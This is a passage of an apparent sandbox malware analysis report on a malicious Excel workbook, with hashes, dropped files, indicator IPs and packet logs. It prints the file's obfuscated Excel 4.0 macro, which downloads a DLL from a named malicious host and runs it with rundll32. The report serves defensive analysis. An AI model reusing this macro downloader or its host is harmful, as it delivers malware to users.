	SecuriteInfo.com.Heur.19090.xls	Get hash	malicious	Browse	192.232.249.186
	SALM0BRU.exe	Get hash	malicious	Browse	162.241.148.243
	Purchase Order.8000.scan.pdf...exe	Get hash	malicious	Browse	162.241.148.243
	SecuriteInfo.com.Heur.4923.xls	Get hash	malicious	Browse	192.232.249.186
	SecuriteInfo.com.Heur.4923.xls	Get hash	malicious	Browse	192.232.249.186
	document-1251000362.xlsm	Get hash	malicious	Browse	192.185.48.186
	document-1251000362.xlsm	Get hash	malicious	Browse	192.185.48.186
	catalogue-41.xlsb	Get hash	malicious	Browse	108.167.180.111
	documents-1660683173.xlsm	Get hash	malicious	Browse	192.185.56.250
	06iKnPFk8Y.dll	Get hash	malicious	Browse	162.241.54.59
	06iKnPFk8Y.dll	Get hash	malicious	Browse	162.241.54.59
	ddff.exe	Get hash	malicious	Browse	108.179.235.108
	PowerShell_Input.ps1	Get hash	malicious	Browse	162.241.61.203
	New PO#700-20-HDO410444RF217,pdf.exe	Get hash	malicious	Browse	192.185.122.118
	Purchase Order.9000.scan.pdf...exe	Get hash	malicious	Browse	162.241.148.243
	document-1848152474.xlsm	Get hash	malicious	Browse	192.185.48.186
	7z7Q51Y8Xd.dll	Get hash	malicious	Browse	162.241.54.59
	pySsaGoiCT.dll	Get hash	malicious	Browse	162.241.54.59
	QOpv1PykFc.dll	Get hash	malicious	Browse	162.241.54.59

JA3 Fingerprints

No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\sdbybsd.fds	SecuriteInfo.com.Trojan.Agent.FFFK.23764.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.19090.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.4923.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.4923.xls	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\ySiCz[1].fbx	SecuriteInfo.com.Trojan.Agent.FFFK.23764.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.19090.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.4923.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.4923.xls	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\ySiCz[1].fbx Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	downloaded
Size (bytes):	688241
Entropy (8bit):	7.064532901692121
Encrypted:	false
SSDEEP:	12288:9SeIHklNAPLJNfQPJt7TQJK7FvEVxw0xxteW:AklUjfQHDezxxtx
MD5:	7DF0611CD75FA4C02B29070728C37247
SHA1:	1095F8922D93458EFBC97612D8A5DEA8DB8325A5
SHA-256:	AC17E1F54B9F800D874E1D012E541FC037BD1A31EE3E8F631A454F2D1DE6ADA1
SHA-512:	167B19FE1154C3988A546F9626CD8918363EAB58D5BB49106000EF4E6E9AC0174A04B7341A67BF85CA1F9AB40C409F878C4AFA07BE941FEAADA7AFA996A4EA59
Malicious:	true
Antivirus:	Antivirus: Virustotal, Detection: 22%, Browse Antivirus: Metadefender, Detection: 5%, Browse Antivirus: ReversingLabs, Detection: 2%
Joe Sandbox View:	Filename: SecuriteInfo.com.Trojan.Agent.FFFK.23764.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.19090.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.4923.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.4923.xls, Detection: malicious, Browse
Reputation:	low
IE Cache URL:	http://revolet-sa.com/files/countryyelow.php
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........O.N.............1...............1..........i/..92......R1..!...R1..+....(......R1......Rich............................PE..L....Kl`...........!.........@......>8..............................................................................@a..S............@.......................`..d^...................................................................................text...6u.......................... ..`.rdata..............................@..@.data........p...@...p..............@....idata...1.......@..................@....rsrc........@... ..................@..@.reloc...e...`...p..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FDCE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	67965
Entropy (8bit):	7.8795190850591
Encrypted:	false
SSDEEP:	1536:Ltke3BrWGHJyW32AeWviHcM8OlMVGoIahaDHTU6hryF70f:LqeRrW2JyW32AiHD2sTU2yF70f
MD5:	ACD684D03FB00D3EDE4EF36D090E2892
SHA1:	98C38FA7130CE3ADF7656D7C9E1410051C7DF775
SHA-256:	007AD2692E7E4E40D9D9AACF2F68D1B7956DF881C8D0AF2B41569950BF2CA4ED
SHA-512:	BFE2AD8D06CFCD31845728428CFF7F89748B8CF4A172872D0C85ACBE912A53858A3A90FB180EEDA81294821C029B1413DA9397F814889C2074368EDA35727EB8
Malicious:	false
Reputation:	low
Preview:	.U[O.0.~........&M......i.....o....~..2......\l....xy.)Y<....U.R.f.........;)\|..A..5.'.../...E_D..5iC.?(..E..2.u.i.S..[S.l.k...7...C...Y-...G......X.&..n]...P....(.U3...43.q(......A...O..e)..UD.5.....PH3os...q?..8.....nA......1..0Ir.\|..CY..1T..3...$.9........4...\|..i........V.:....R..<.#..kd...=W.....e..}U.Q...~./qC........L3..>l%.#..).tJ....Wp.M~.....>...d....{O4..@..6......{H?..;g......^:xB.6......>.!......uFL..G>.M.........PK..........!..r.............[Content_Types].xml ...(............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-966771315-3019405637-367336477-1006\f554348b930ff81505ce47f7c6b7d232_ea860e7a-a87f-4a88-92ef-38f744458171 Download File
Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2178
Entropy (8bit):	6.992231725533755
Encrypted:	false
SSDEEP:	24:NKf5b6UkxAB8LRnbAwdZhE8/mHeYKf5b6UKjqA6YYUWG538Mhh5FB5tFId4UcP0z:Kb6UH8Ltk1Mm+Bb6UFAH6mBFBS4UcLuj
MD5:	A9C113D8B90FCF3F0B90699048A6D136
SHA1:	D3764B8EA6F98EE7B6768F32F9AC504B8F5397B5
SHA-256:	239AD9A1493D03A978E94CE064598C68D4F82056886C0D403477B63317260AC9
SHA-512:	FDFFE41FE43B9A4789053909A610C4AAE1F974E6D818D5D685D2CAA99BEE15F949089A25F4AB416381784F3B4625F145C99CA051188BB79593DAF8C9BBDAEB53
Malicious:	false
Reputation:	low
Preview:	........................................user.....................\...................user.....................RSA1H.......?...........}...h8...B~k..!.R..<.HN:D...tW....5g.n.xLu5..tI. .q5e.. ........................z..O...........gDJ....@.......,...C.r.y.p.t.o.A.P.I. .P.r.i.v.a.t.e. .K.e.y....f...... ...[V.;....{C.+...h.P4.....B...r.............. .....(.U.!...].#HV.y.Z.i.i$..r'./....wN...!.......x.-....m.`....Fh..O.4..f.?.@'(n.p-.7..yV..1jBW....;...IZ......i..o}P....... e..Z....."....y..>%.8r.msd.>.j.>...?bU..W...a0+.P5......\."..l.,>..t.....Z....\...I.2.....Nu.s.0......Il...2....P.....1....:..j..Pb.tQ.4....H..,.JV..z.[n.(#]=. vey.UP....V._..346...T.... w.((k...<..X......`N....6z....v....s}..!..L;.k.....~Z..Z..!p[A..7O..i..e.H.[>C.uE....:{.2..m.@...xG.T...Si_...s...H..`.xm.08........)t..S.........r..=.=)...ot............z..O...........gDJ....@...........E.x.p.o.r.t. .F.l.a.g....f...... ....l....\\...e...D.J..V.d.....a............ .....\l.S..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Wed Apr 7 11:53:38 2021, atime=Wed Apr 7 11:53:38 2021, length=8192, window=hide
Category:	dropped
Size (bytes):	867
Entropy (8bit):	4.475918729490231
Encrypted:	false
SSDEEP:	12:85QZ+cLgXg/XAlCPCHaXtB8XzB/RUvX+WnicvbwbDtZ3YilMMEpxRljKlcTdJP9O:85A+K/XTd6j0YegDv3qfrNru/
MD5:	44C685D9F27C5D4389C82A76E63BE69C
SHA1:	29408FEA1972853446414948D64054ECBCBA3D0E
SHA-256:	BA1D65408DD9BA2B20995E2A49F823D7F4F968CA65B8D477F0531A9744881509
SHA-512:	9298E13DC3CA5BAF93E20E631B1E903EDAE998891D1A9DB58BA96CE9F08032593E6EB03F01860477AC9B84CC0267770F42E07868E0E3439DD0BC2925A6F20CBE
Malicious:	false
Reputation:	low
Preview:	L..................F...........7G..e2B..+..e2B..+... ......................i....P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1......R.f..Desktop.d......QK.X.R.f..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......i...............-...8...[............?J......C:\Users\..#...................\\305090\Users.user\Desktop.......\.....\.....\.....\.....\.D.e.s.k.t.o.p.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......305090..........D_....3N...W...9r.[........}EkD_....3N...W...9r.[.*.......}Ek....

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\SecuriteInfo.com.Trojan.Agent.FFFK.8079.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Apr 7 11:53:25 2021, mtime=Wed Apr 7 11:53:38 2021, atime=Wed Apr 7 11:53:38 2021, length=92160, window=hide
Category:	dropped
Size (bytes):	2318
Entropy (8bit):	4.573810904271115
Encrypted:	false
SSDEEP:	48:8T/XT0jtH+NAHNfQh2T/XT0jtH+NAHNfQ/:8T/XojtcmfQh2T/XojtcmfQ/
MD5:	7A6712A397C39A608B402FB08F51D055
SHA1:	708B6D4ACCF27C74C2E2A541B14B95FC32FCF065
SHA-256:	1CF0635DFA3533DBB3CA1CE8B5A5C80FDA4E0C2038049B36F1554FA851B12BD9
SHA-512:	872C25D4E8D9FC1A7D020E2D379BA9C08B13C3ACAA49CC5A18C8E2DD1C4F21B572CA330D84BDF34A6AE4E4401A56A7CBF7609BF8F0C0B49527C0C2B531478730
Malicious:	false
Reputation:	low
Preview:	L..................F.... ...H....+..e2B..+..g=U..+...h...........................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1......R.f..Desktop.d......QK.X.R.f..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......2......R.f .SECURI~1.XLS.........R.f.R.f.........................S.e.c.u.r.i.t.e.I.n.f.o...c.o.m...T.r.o.j.a.n...A.g.e.n.t...F.F.F.K...8.0.7.9...x.l.s.......................-...8...[............?J......C:\Users\..#...................\\305090\Users.user\Desktop\SecuriteInfo.com.Trojan.Agent.FFFK.8079.xls.B.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.S.e.c.u.r.i.t.e.I.n.f.o...c.o.m...T.r.o.j.a.n...A.g.e.n.t...F.F.F.K...8.0.7.9...x.l.s.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	170
Entropy (8bit):	4.888657403242958
Encrypted:	false
SSDEEP:	3:oyBVomM0b3kVsLBVouscb3kVsLBVomM0b3kVsLBVov:dj60gVsLBVVgVsLBV60gVsLBVy
MD5:	77A0BBADB3E68BC0A632C215D9A38372
SHA1:	D2F8B90CBAFB167744DF998488137E83FADB51F4
SHA-256:	999982418F347FD2A25818225C5B61106CA2B8C16F3558C45251E4C228E75C9D
SHA-512:	C32CCAA1D4E1E47813CEACD4F25C158A004917AD4B315AFB24CCD79A37A5E0E4A966560F36432B47184ADF869F86854E8C3A95F1F3FD1085B2EB1BBD953EAABF
Malicious:	false
Reputation:	low
Preview:	Desktop.LNK=0..[xls]..SecuriteInfo.com.Trojan.Agent.FFFK.8079.LNK=0..SecuriteInfo.com.Trojan.Agent.FFFK.8079.LNK=0..[xls]..SecuriteInfo.com.Trojan.Agent.FFFK.8079.LNK=0..

C:\Users\user\Desktop\BECE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Applesoft BASIC program data, first line number 16
Category:	dropped
Size (bytes):	127008
Entropy (8bit):	7.230390922283029
Encrypted:	false
SSDEEP:	3072:ZI8rmjAItyzElBIL6lECbgBGGP5xLmuCSi2jTUqyF70Si2W2vXmwgvXmw3I8rmjo:G8rmjAItyzElBIL6lECbgBvP5NmuCShR
MD5:	435860799AF28567EABD1AEC443E69B0
SHA1:	D6950FED25AB8CEC5E1DAA1AF55F82CF1A6EBD58
SHA-256:	54CBCFCA263513798A7D7C63CCFDAD67CDB987B966E6CFB22F26212AEDFFC814
SHA-512:	9EA1B2DF35800E7B24DC09D18E2F91D9760641812FDBD72310F071503C2DA1F5B5F859315F3EA4B4BE06D9CBAFC77B3A7EB1E3AB0E9B6042FCD5D1D462332774
Malicious:	false
Reputation:	low
Preview:	........g2..........................\.p....user B.....a.........=.................................................=.....i..9J.8.......X.@...........".......................1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...,...8...........C.a.l.i.b.r.i.1.......8...........C.a.l.i.b.r.i.1.......8...........C.a.l.i.b.r.i.1...h...8...........C.a.m.b.r.i.a.1.......4...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......?...........C.a.l.i.b.r.i.1...@...8...........C.a.l.i.b.r.i.1...@...............C.a.l.i.b.r.i.1.......?...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.........

C:\Users\user\sdbybsd.fds Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	688241
Entropy (8bit):	7.064532901692121
Encrypted:	false
SSDEEP:	12288:9SeIHklNAPLJNfQPJt7TQJK7FvEVxw0xxteW:AklUjfQHDezxxtx
MD5:	7DF0611CD75FA4C02B29070728C37247
SHA1:	1095F8922D93458EFBC97612D8A5DEA8DB8325A5
SHA-256:	AC17E1F54B9F800D874E1D012E541FC037BD1A31EE3E8F631A454F2D1DE6ADA1
SHA-512:	167B19FE1154C3988A546F9626CD8918363EAB58D5BB49106000EF4E6E9AC0174A04B7341A67BF85CA1F9AB40C409F878C4AFA07BE941FEAADA7AFA996A4EA59
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 5%, Browse Antivirus: ReversingLabs, Detection: 2%
Joe Sandbox View:	Filename: SecuriteInfo.com.Trojan.Agent.FFFK.23764.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.19090.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.4923.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.4923.xls, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........O.N.............1...............1..........i/..92......R1..!...R1..+....(......R1......Rich............................PE..L....Kl`...........!.........@......>8..............................................................................@a..S............@.......................`..d^...................................................................................text...6u.......................... ..`.rdata..............................@..@.data........p...@...p..............@....idata...1.......@..................@....rsrc........@... ..................@..@.reloc...e...`...p..................@..B........................................................................................................................................................................................................................................................................

Static File Info

General
File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1251, Last Saved By: 5, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Tue Apr 6 15:04:37 2021, Security: 0
Entropy (8bit):	3.087349849990019
TrID:	Microsoft Excel sheet (30009/1) 78.94% Generic OLE2 / Multistream Compound File (8008/1) 21.06%
File name:	SecuriteInfo.com.Trojan.Agent.FFFK.8079.xls
File size:	267776
MD5:	a7c64329efaea29a2dc97ced238490f7
SHA1:	5d4b9b386354444cf74fd858e3409f0294c45330
SHA256:	8ee305eec94aaef24116983ceef933359fb860ab50787b7963c3f46fe751630c
SHA512:	f7be46dad7af7216a65c5a58766eb20a2e847a787ddb19f9b6520d7e5c81836c8382911743ab13ad171145aadddaa1a43a05c93c5ba3b287d862cf3045bc1dbf
SSDEEP:	6144:JcPiTQAVW/89BQnmlcGvgZ7rDjo8UOMIJK+xTh0+:Fh+
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	e4eea286a4b4bcb4

Static OLE Info

General
Document Type:	OLE
Number of OLE Files:	1

OLE File "SecuriteInfo.com.Trojan.Agent.FFFK.8079.xls"

Indicators
Has Summary Info:	True
Application Name:	Microsoft Excel
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:	True

Summary
Code Page:	1251
Last Saved By:	5
Create Time:	2006-09-16 00:00:00
Last Saved Time:	2021-04-06 14:04:37
Creating Application:	Microsoft Excel
Security:	0

Document Summary
Document Code Page:	1251
Thumbnail Scaling Desired:	False
Contains Dirty Links:	False

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5DocumentSummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.348065102689
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . 0 . . . . . . . 8 . . . . . . . @ . . . . . . . H . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . D o c u S i g n . . . . . D o c s 3 . . . . . D o c s 1 . . . . . D o c s 2 . . . . . D o c s 4 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . E x c e l 4 . 0 . . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 d0 00 00 00 05 00 00 00 01 00 00 00 30 00 00 00 0b 00 00 00 38 00 00 00 10 00 00 00 40 00 00 00 0d 00 00 00 48 00 00 00 0c 00 00 00 8d 00 00 00 02 00 00 00 e3 04 00 00 0b 00 00 00 00 00 00 00 0b 00 00 00 00 00 00 00 1e 10 00 00 05 00 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.24280443857
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . . . . . . . . . . . . . 8 . . . . . . . @ . . . . . . . L . . . . . . . d . . . . . . . p . . . . . . . \| . . . . . . . . . . . . . . . . . . . 5 . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . . \| . # . . . @ . . . . H L . . * . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 84 00 00 00 06 00 00 00 01 00 00 00 38 00 00 00 08 00 00 00 40 00 00 00 12 00 00 00 4c 00 00 00 0c 00 00 00 64 00 00 00 0d 00 00 00 70 00 00 00 13 00 00 00 7c 00 00 00 02 00 00 00 e3 04 00 00 1e 00 00 00 04 00 00 00 35 00 00 00 1e 00 00 00

Stream Path: Book, File Type: Applesoft BASIC program data, first line number 8, Stream Size: 255780

General
Stream Path:	Book
File Type:	Applesoft BASIC program data, first line number 8
Stream Size:	255780
Entropy:	3.03349063455
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . 7 . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . 5 B . . . . . . . . . . . . . . . . . . . . . . . D o c s 1 . . ! . . . . . . . . . . . . . . . : . . . . . . . . . . . . . . . . 7 . . . . . . . . . . . . . . . . . . = . . . . . i . . 9 J . 8 . . . . . . . X .
Data Raw:	09 08 08 00 00 05 05 00 17 37 cd 07 e1 00 00 00 c1 00 02 00 00 00 bf 00 00 00 c0 00 00 00 e2 00 00 00 5c 00 70 00 01 35 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Macro 4.0 Code

,,,,,,"=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=FORMULA(Docs3!$BE$26&Docs3!$BE$27&Docs3!$BE$28&""n"",BV9)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=Docs2!AI20()",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=EXEC(""r""&Docs3!BB33&Docs3!BB37&Docs3!BM23&Docs3!BI33&Docs3!BI36)=ACOS(42424)=ATAN(4254254)=ACOS(42424)=ATAN(4254254)=ACOS(42424)=ATAN(4254254)=ACOS(42424)=ATAN(4254254)=ACOS(42424)=ATAN(4254254)=ACOS(42424)=ATAN(4254254)=ACOS(42424)=ATAN(4254254)=ACOS(42424)=ATAN(4254254)=ACOS(42424)=ATAN(4254254)=ACOS(42424)=ATAN(4254254)=Docs4!BA9()",,,,,,

,,http://,,,"=""php""",,"=""revolet-sa.com/files/countryyelow""",,,,,,,,,,,,,,,,,,,,,,,"=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=FORMULA.ARRAY(""U""&Docs3!$BH$26&Docs3!$BH$27&Docs3!$BH$28&Docs3!$BH$29,Docs1!BV10)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)=ACOS(4244)=EXP(452)",,,,,,,,,,"=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=CALL(Docs1!BV9,Docs1!BV10,Docs3!BK26&Docs3!BK28,0,before.3.13.34.sheet!AK14&before.3.13.34.sheet!AK15&Docs3!BP25&before.3.13.34.sheet!AN14,Docs3!BM23,0,0)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=ASIN(444114)=ASINH(141)=Docs1!$AX$27()",,,,,

=HALT()

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 7, 2021 05:54:07.267561913 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:07.429316044 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:07.429465055 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:07.430265903 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:07.591984034 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:07.883936882 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:07.883990049 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:07.884031057 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:07.884072065 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:07.884110928 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:07.884160995 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:07.884180069 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:07.884197950 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:07.884208918 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:07.884212017 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:07.884239912 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:07.884244919 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:07.884279966 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:07.884288073 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:07.884320021 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:07.884332895 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:07.884402037 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:07.893683910 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.045336962 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.045422077 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.045439959 CEST	80	49167	192.232.249.186	192.168.2.22
